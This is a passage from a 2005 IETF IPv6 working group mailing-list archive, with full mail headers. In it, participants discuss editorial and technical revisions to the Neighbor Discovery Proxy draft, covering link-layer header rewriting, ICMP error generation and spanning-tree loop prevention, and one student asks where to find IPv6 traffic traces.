Tue, 15 Feb 2005 23:49:49 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Gdr-0003mE-LA; Tue, 15 Feb 2005 23:18:23 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1GXw-0001Eg-3W for ipv6@megatron.ietf.org; Tue, 15 Feb 2005 23:12:16 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA12955 for ; Tue, 15 Feb 2005 23:12:09 -0500 (EST) Received: from mail2.microsoft.com ([131.107.3.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1Gt1-0005Q3-QQ for ipv6@ietf.org; Tue, 15 Feb 2005 23:34:05 -0500 Received: from mailout1.microsoft.com ([157.54.1.117]) by mail2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 15 Feb 2005 20:11:39 -0800 Received: from red-hub-03.redmond.corp.microsoft.com ([157.54.2.25]) by mailout1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 20:11:39 -0800 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-hub-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 20:11:39 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 20:11:38 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Tue, 15 Feb 2005 20:08:01 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC110230A50@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: [NDProxy#21] Editorial nits in ipv6-00 thread-index: AcUT3RtDMPOQ7KwFR225uGpiYrQ2+Q== From: "Dave Thaler" To: X-OriginalArrivalTime: 16 Feb 2005 04:11:38.0436 (UTC) FILETIME=[9C818040:01C513DD] X-Spam-Score: 1.6 (+) X-Scan-Signature: 00e94c813bef7832af255170dca19e36 Content-Transfer-Encoding: quoted-printable Subject: [NDProxy#21] Editorial nits in ipv6-00 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 1.6 (+) X-Scan-Signature: b280b4db656c3ca28dd62e5e0b03daa8 Content-Transfer-Encoding: quoted-printable 123456789012345678901234567890123456789012345678901234567890123456789012 34567890 Three editorial suggestions from Ralph Droms (no further discussion as yet): #1 > My understanding is that NDproxy is intended for use between media that=20 > cannot be bridged at the link-layer, and which, presumably, have different > link-layer header formats. While it would, I guess be obvious to an=20 > implementor, It would clarify the text to add a sentence or two in the > last paragraph of section 4.1 explaining that the entire layer two header > in the outgoing packet must be modified to the format of the layer 2 media > over which the packet will be forwarded. Scenario 2 has different link-layer header formats, but Scenario 1 does not (the inability to bridge is due to the inability to be promiscuous, rather than any link-layer header difference), so it needs to be worded more=20 generically. Proposed change: OLD: When any other IP broadcast or multicast packet (other than to the IPv6 Link-scoped STP Multicast Group) is received on a proxy interface, in addition to any normal IP behavior such as being delivered locally, it is forwarded unchanged out all other proxy interfaces on the same link.=20 NEW: When any other IP broadcast or multicast packet (other than to the IPv6 Link-scoped STP Multicast Group) is received on a proxy interface, in addition to any normal IP behavior such as being delivered locally, it is forwarded unchanged (other than using a new link-layer=20 header) out all other proxy interfaces on the same link.=20 and OLD: When any other IP unicast packet is received on a proxy interface, if it is not locally destined then it is forwarded unchanged to the=20 proxy interface for which the next hop address appears in the neighbor cache. NEW: When any other IP unicast packet is received on a proxy interface, if it is not locally destined then it is forwarded unchanged (other than using a new link-layer header) to the proxy interface for which the next hop address appears in the neighbor cache. #2 > Although the title is "Bridge-like Neighbor Discovery Proxies (ND Proxy)", > the Abstract does not restrict the protocols in the specification to IPv6. > In fact, there is support for IPv4 bridging, including ARP and DHCPv4. I=20 > think it would clarify the intent of the draft to change the title (or, at > least, the abstract) to reflect that bridging of some IPv4 protocols is > included in this specification. Proposed text to add to Abstract: The behavior of one common type of IPv4 ARP Proxy deployed today is documented herein for informational purposes, but this document concentrates on describing similar behavior for IPv6. #3 > Sections 4.1 and 4.2 might be more accurately titled "Forwarding Packets" > and "Originating packets". Propose accepting as suggested. -Dave -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 15 23:52:01 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA17216 for ; Tue, 15 Feb 2005 23:52:01 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1HVd-0006lJ-1S for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 00:13:57 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1H2I-0003SJ-8M; Tue, 15 Feb 2005 23:43:38 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Gyh-0002cj-US for ipv6@megatron.ietf.org; Tue, 15 Feb 2005 23:39:56 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA16143 for ; Tue, 15 Feb 2005 23:39:53 -0500 (EST) Received: from mail1.microsoft.com ([131.107.3.125]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1HJs-0006Tv-1v for ipv6@ietf.org; Wed, 16 Feb 2005 00:01:49 -0500 Received: from mailout2.microsoft.com ([157.54.1.120]) by mail1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 20:39:22 -0800 Received: from red-hub-02.redmond.corp.microsoft.com ([157.54.7.100]) by mailout2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 15 Feb 2005 20:39:27 -0800 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-hub-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 15 Feb 2005 20:39:20 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.1289); Tue, 15 Feb 2005 20:39:20 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Tue, 15 Feb 2005 20:39:12 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC110230A77@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: [NDProxy#22] Unclear text about ICMP errors thread-index: AcUT4XYvYfUVStaOQtio4WKp+1z1og== From: "Dave Thaler" To: X-OriginalArrivalTime: 16 Feb 2005 04:39:20.0341 (UTC) FILETIME=[7B141450:01C513E1] X-Spam-Score: 0.0 (/) X-Scan-Signature: cab78e1e39c4b328567edb48482b6a69 Content-Transfer-Encoding: quoted-printable Subject: [NDProxy#22] Unclear text about ICMP errors X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 8b431ad66d60be2d47c7bfeb879db82c Content-Transfer-Encoding: quoted-printable Issue page: http://www.icir.org/dthaler/NDProxyIssues.htm#Issue%2022 Section 4.1 stated no ICMP errors are sent: OLD: In particular, the IPv4 TTL or IPv6 Hop Limit is not updated, and no ICMP errors are sent as a result of attempting this forwarding. =A0 and =A0 OLD: Again the IPv4 TTL or IPv6 Hop Limit is not updated, and no ICMP errors are sent as a result of attempting this forwarding. =A0 While Section 4.1.1 stated (and only stated it for IPv6): OLD: Whenever any packet is to be forwarded out an interface whose MTU is smaller than the size of the packet, the ND proxy drops the packet and sends a Packet Too Big message back to the source, as described in [ICMPv6]. =A0 Proposed replacement text, to clarify intent: =A0 In 4.1, replace the two sentences quoted with: NEW: In particular, the IPv4 TTL or IPv6 Hop Limit is not=20 updated, and no ICMP errors (except as noted in Section 4.1.1=20 below) are sent as a result of attempting this forwarding. NEW: Again the IPv4 TTL or IPv6 Hop Limit is not=20 updated, and no ICMP errors (except as noted in Section 4.1.1=20 below) are sent as a result of attempting this forwarding. =A0 and replace the paragraph in 4.1.1 quoted above with: Whenever any IPv4 packet is to be forwarded out an interface whose MTU is smaller than the size of the packet, and the Dont=20 Fragment bit is set, the ARP proxy drops the packet and sends=20 a Fragmentation Needed message back to the source. Similarly, whenever any IPv6 packet is to be forwarded out an Interface whose MTU is smaller than the size of the packet,=20 the ND proxy drops the packet and sends a Packet Too Big message back to the source, as described in [ICMPv6]. =A0 -Dave -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 16 00:41:51 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21683 for ; Wed, 16 Feb 2005 00:41:51 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1IHs-00085Z-06 for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 01:03:48 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Hse-0003W8-2W; Wed, 16 Feb 2005 00:37:44 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1HkB-0000j6-AM for ipv6@megatron.ietf.org; Wed, 16 Feb 2005 00:28:59 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA20686 for ; Wed, 16 Feb 2005 00:28:56 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1I5L-0007iW-Fh for ipv6@ietf.org; Wed, 16 Feb 2005 00:50:52 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1G5SIM12384; Wed, 16 Feb 2005 07:28:18 +0200 Date: Wed, 16 Feb 2005 07:28:18 +0200 (EET) From: Pekka Savola To: Erik Nordmark In-Reply-To: <42127A3C.1080502@sun.com> Message-ID: References: <42127A3C.1080502@sun.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Cc: "Soliman, Hesham" , IPv6 WG Subject: Re: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 On Tue, 15 Feb 2005, Erik Nordmark wrote: > So I'd suggest adding a sentence at the start of the second paragraph: > This specification has no explicit support for hosts to perform > inbound load balancing. > and rewording the rest to start with > Routers can perform inbound load balancing by omitting ... Fine with me :-) -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 16 00:48:30 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA22568 for ; Wed, 16 Feb 2005 00:48:30 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1IOI-0008LX-Ig for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 01:10:27 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1HvJ-0004V3-E2; Wed, 16 Feb 2005 00:40:29 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Hrp-00037g-ET for ipv6@megatron.ietf.org; Wed, 16 Feb 2005 00:36:53 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21323 for ; Wed, 16 Feb 2005 00:36:50 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1ICz-0007vR-M1 for ipv6@ietf.org; Wed, 16 Feb 2005 00:58:47 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1G5aHL12572; Wed, 16 Feb 2005 07:36:17 +0200 Date: Wed, 16 Feb 2005 07:36:17 +0200 (EET) From: Pekka Savola To: Dave Thaler In-Reply-To: <2E33960095B58E40A4D3345AB9F65EC110230A34@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Message-ID: References: <2E33960095B58E40A4D3345AB9F65EC110230A34@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Cc: ipv6@ietf.org Subject: Re: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d On Tue, 15 Feb 2005, Dave Thaler wrote: > Proposed replacement text: >> An implementation MUST have some means of preventing loops. >> Loop prevention SHOULD be done by having the proxy implement the >> Spanning Tree Algorithm and Protocol as defined in [BRIDGE] on all >> proxy interfaces, as described below. Is this strong enough for interoperability across ND-proxies from different vendors? Loop prevention won't do much good unless every vendor implements an interoperable mechanism.. The text is also a bit contradictory: "An implementation MUST have some means.." and "The mechanism is required only if...". Granted, there are some cases where it may be physically impossible (or extremely difficult) to use the implementation to form a loop, but in the general case, the implementor really cannot know how the devices will end up being used. Maybe the first sentence needs to be reworded slightly to include an escape clause there as well. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 16 00:57:33 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA23555 for ; Wed, 16 Feb 2005 00:57:33 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1IX3-0000CC-CU for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 01:19:30 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1I5k-00006O-4U; Wed, 16 Feb 2005 00:51:16 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1I1C-0006ro-TB for ipv6@megatron.ietf.org; Wed, 16 Feb 2005 00:46:35 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA22307 for ; Wed, 16 Feb 2005 00:46:31 -0500 (EST) Received: from brmea-mail-3.sun.com ([192.18.98.34]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1IMK-0008FV-AT for ipv6@ietf.org; Wed, 16 Feb 2005 01:08:28 -0500 Received: from jurassic.eng.sun.com ([129.146.82.166]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id j1G5kSOJ007996; Tue, 15 Feb 2005 22:46:28 -0700 (MST) Received: from [192.9.61.11] (punchin-nordmark.SFBay.Sun.COM [192.9.61.11]) by jurassic.eng.sun.com (8.13.3+Sun/8.13.3) with ESMTP id j1G5kS0x729510; Tue, 15 Feb 2005 21:46:28 -0800 (PST) Message-ID: <4212DE10.2070407@sun.com> Date: Tue, 15 Feb 2005 21:45:52 -0800 From: Erik Nordmark User-Agent: Mozilla Thunderbird 1.0 (X11/20041208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Dave Thaler References: <2E33960095B58E40A4D3345AB9F65EC110230A77@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> In-Reply-To: <2E33960095B58E40A4D3345AB9F65EC110230A77@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Content-Transfer-Encoding: 7bit Cc: ipv6@ietf.org Subject: Re: [NDProxy#22] Unclear text about ICMP errors X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Content-Transfer-Encoding: 7bit Dave Thaler wrote: > Whenever any IPv4 packet is to be forwarded out an interface > whose MTU is smaller than the size of the packet, and the Dont > Fragment bit is set, the ARP proxy drops the packet and sends > a Fragmentation Needed message back to the source. > > Similarly, whenever any IPv6 packet is to be forwarded out an > Interface whose MTU is smaller than the size of the packet, > the ND proxy drops the packet and sends a Packet Too Big message > back to the source, as described in [ICMPv6]. Given that the proxy is invisible at L3, I think it would make sense to add explicit statements about any constraints on the IP source address to use when the proxy generates ICMP errors. I believe the ICMPv* specifications say to use an IP address assigned to either the interface where the packet in error arrived, or assigned to the interface on which the error is sent, but in the case of a proxy there might be a single IP address assigned to all the proxy interfaces for all I know. Erik -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 16 15:06:27 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14280 for ; Wed, 16 Feb 2005 15:06:26 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1Vmg-00084u-Gx for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 15:28:30 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Uzd-0008WE-3p; Wed, 16 Feb 2005 14:37:49 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1T85-00016M-9c for ipv6@megatron.ietf.org; Wed, 16 Feb 2005 12:38:25 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA01932 for ; Wed, 16 Feb 2005 12:38:21 -0500 (EST) Received: from relay-pt1.siemens.pt ([194.145.62.201] helo=relay1.siemens.pt) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1TTL-0003B0-Gn for ipv6@ietf.org; Wed, 16 Feb 2005 13:00:25 -0500 Received: from fw-mta1.siemens.pt (fw-mta1.siemens.pt [141.29.156.201]) by relay1.siemens.pt (8.12.8/linuxconf) with ESMTP id j1GHPW8s016791 for ; Wed, 16 Feb 2005 17:25:32 GMT Received: from lisi053a.siemens.pt (lisi053a.siemens.pt [141.29.156.193]) by fw-mta1.siemens.pt (Hvm) with ESMTP id j1GHbsj26034 for ; Wed, 16 Feb 2005 17:37:54 GMT X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Date: Wed, 16 Feb 2005 17:37:26 -0000 Message-ID: <852246F66844CC41A5FE1EF659F98F900244BE67@lisi053a.siemens.pt> Thread-Topic: IPv6 Traces Thread-Index: AcUUTi08NZ8FzXLOQNK4zmdynMrJnw== From: "Nuno Garcia" To: "IPv6 WG" X-Spam-Score: 0.3 (/) X-Scan-Signature: 32b73d73e8047ed17386f9799119ce43 Subject: IPv6 Traces X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1881194398==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.9 (/) X-Scan-Signature: 2857c5c041d6c02d7181d602c22822c8 This is a multi-part message in MIME format. --===============1881194398== content-class: urn:content-classes:message Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C5144E.2DF0B422" This is a multi-part message in MIME format. ------_=_NextPart_001_01C5144E.2DF0B422 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello All: Does anyone knows where I can find IPV6 traffic traces? (if there is = such thing)=20 My goal is to study the headers of real IPv6 packets. Thanks, Nuno Garcia PhD Student=20 COM RD1 RSC SIEMENS S.A. Rua Irm=E3os Siemens, 1 Ed. 1, Piso 0 Alfragide 2720-093 Amadora Portugal=20 Phone: +351-21 416 7159 Fax: +351-21 424 2082=20 e-mail: Nuno.MGarcia@siemens.com=20 ------_=_NextPart_001_01C5144E.2DF0B422 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable IPv6 Traces

Hello All:

Does anyone knows where I can find IPV6 = traffic traces? (if there is such thing)

My goal is to study the headers of real = IPv6 packets.

Thanks,

Nuno Garcia
PhD Student=A0
COM RD1=A0RSC

SIEMENS S.A.
Rua Irm=E3os Siemens, = 1
Ed. 1, Piso 0
Alfragide
2720-093 Amadora
Portugal

Phone: +351-21 416 = 7159
Fax: +351-21 424 2082
e-mail: Nuno.MGarcia@siemens.com

------_=_NextPart_001_01C5144E.2DF0B422-- --===============1881194398== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============1881194398==-- From ipv6-bounces@ietf.org Wed Feb 16 15:09:33 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA15154 for ; Wed, 16 Feb 2005 15:09:33 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1Vpg-0008HX-Ps for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 15:31:37 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1V7j-0006kK-TE; Wed, 16 Feb 2005 14:46:11 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1TTa-0005X7-Tb for ipv6@megatron.ietf.org; Wed, 16 Feb 2005 13:00:39 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08597 for ; Wed, 16 Feb 2005 13:00:35 -0500 (EST) Received: from mail2.microsoft.com ([131.107.3.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1Tor-0005Ld-8N for ipv6@ietf.org; Wed, 16 Feb 2005 13:22:39 -0500 Received: from mailout1.microsoft.com ([157.54.1.117]) by mail2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 16 Feb 2005 10:00:05 -0800 Received: from red-hub-04.redmond.corp.microsoft.com ([157.54.3.6]) by mailout1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Wed, 16 Feb 2005 10:00:05 -0800 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-hub-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 16 Feb 2005 10:00:04 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.1289); Wed, 16 Feb 2005 10:00:04 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 16 Feb 2005 09:59:55 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC1102A6B42@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: [NDProxy#16] Loop prevention, revisited thread-index: AcUT6XvBMF8zrGHmQIuadZzREeblvgAZ0xSw From: "Dave Thaler" To: "Pekka Savola" X-OriginalArrivalTime: 16 Feb 2005 18:00:04.0375 (UTC) FILETIME=[578DE270:01C51451] X-Spam-Score: 0.0 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a Content-Transfer-Encoding: quoted-printable Cc: ipv6@ietf.org Subject: RE: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 52e1467c2184c31006318542db5614d5 Content-Transfer-Encoding: quoted-printable Pekka Savola writes: > > Proposed replacement text: > >> An implementation MUST have some means of preventing loops. > >> Loop prevention SHOULD be done by having the proxy implement the > >> Spanning Tree Algorithm and Protocol as defined in [BRIDGE] on all > >> proxy interfaces, as described below. >=20 > Is this strong enough for interoperability across ND-proxies from > different vendors? Loop prevention won't do much good unless every > vendor implements an interoperable mechanism.. >=20 > The text is also a bit contradictory: "An implementation MUST have > some means.." and "The mechanism is required only if...". Granted, > there are some cases where it may be physically impossible (or > extremely difficult) to use the implementation to form a loop, but in > the general case, the implementor really cannot know how the devices > will end up being used. Maybe the first sentence needs to be reworded > slightly to include an escape clause there as well. Point taken. How about: A proxy MUST ensure that loops are prevented, either by running the Spanning Tree Algorithm and Protocol defined in [BRIDGE] on all proxy interfaces as described below, or by being deployable only in an environment where physical loops cannot occur. For example, in a cell phone which proxies between a PPP dialup link and a local Ethernet interface, it is typically safe to assume that physical loops are not possible and hence there is no need to support the Spanning Tree Protocol (STP). -Dave -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 16 15:14:29 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA16039 for ; Wed, 16 Feb 2005 15:14:29 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1VuS-0008SJ-Ve for ipv6-web-archive@ietf.org; Wed, 16 Feb 2005 15:36:33 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1VFB-0004Ti-BY; Wed, 16 Feb 2005 14:53:53 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Tma-00048G-Ag for 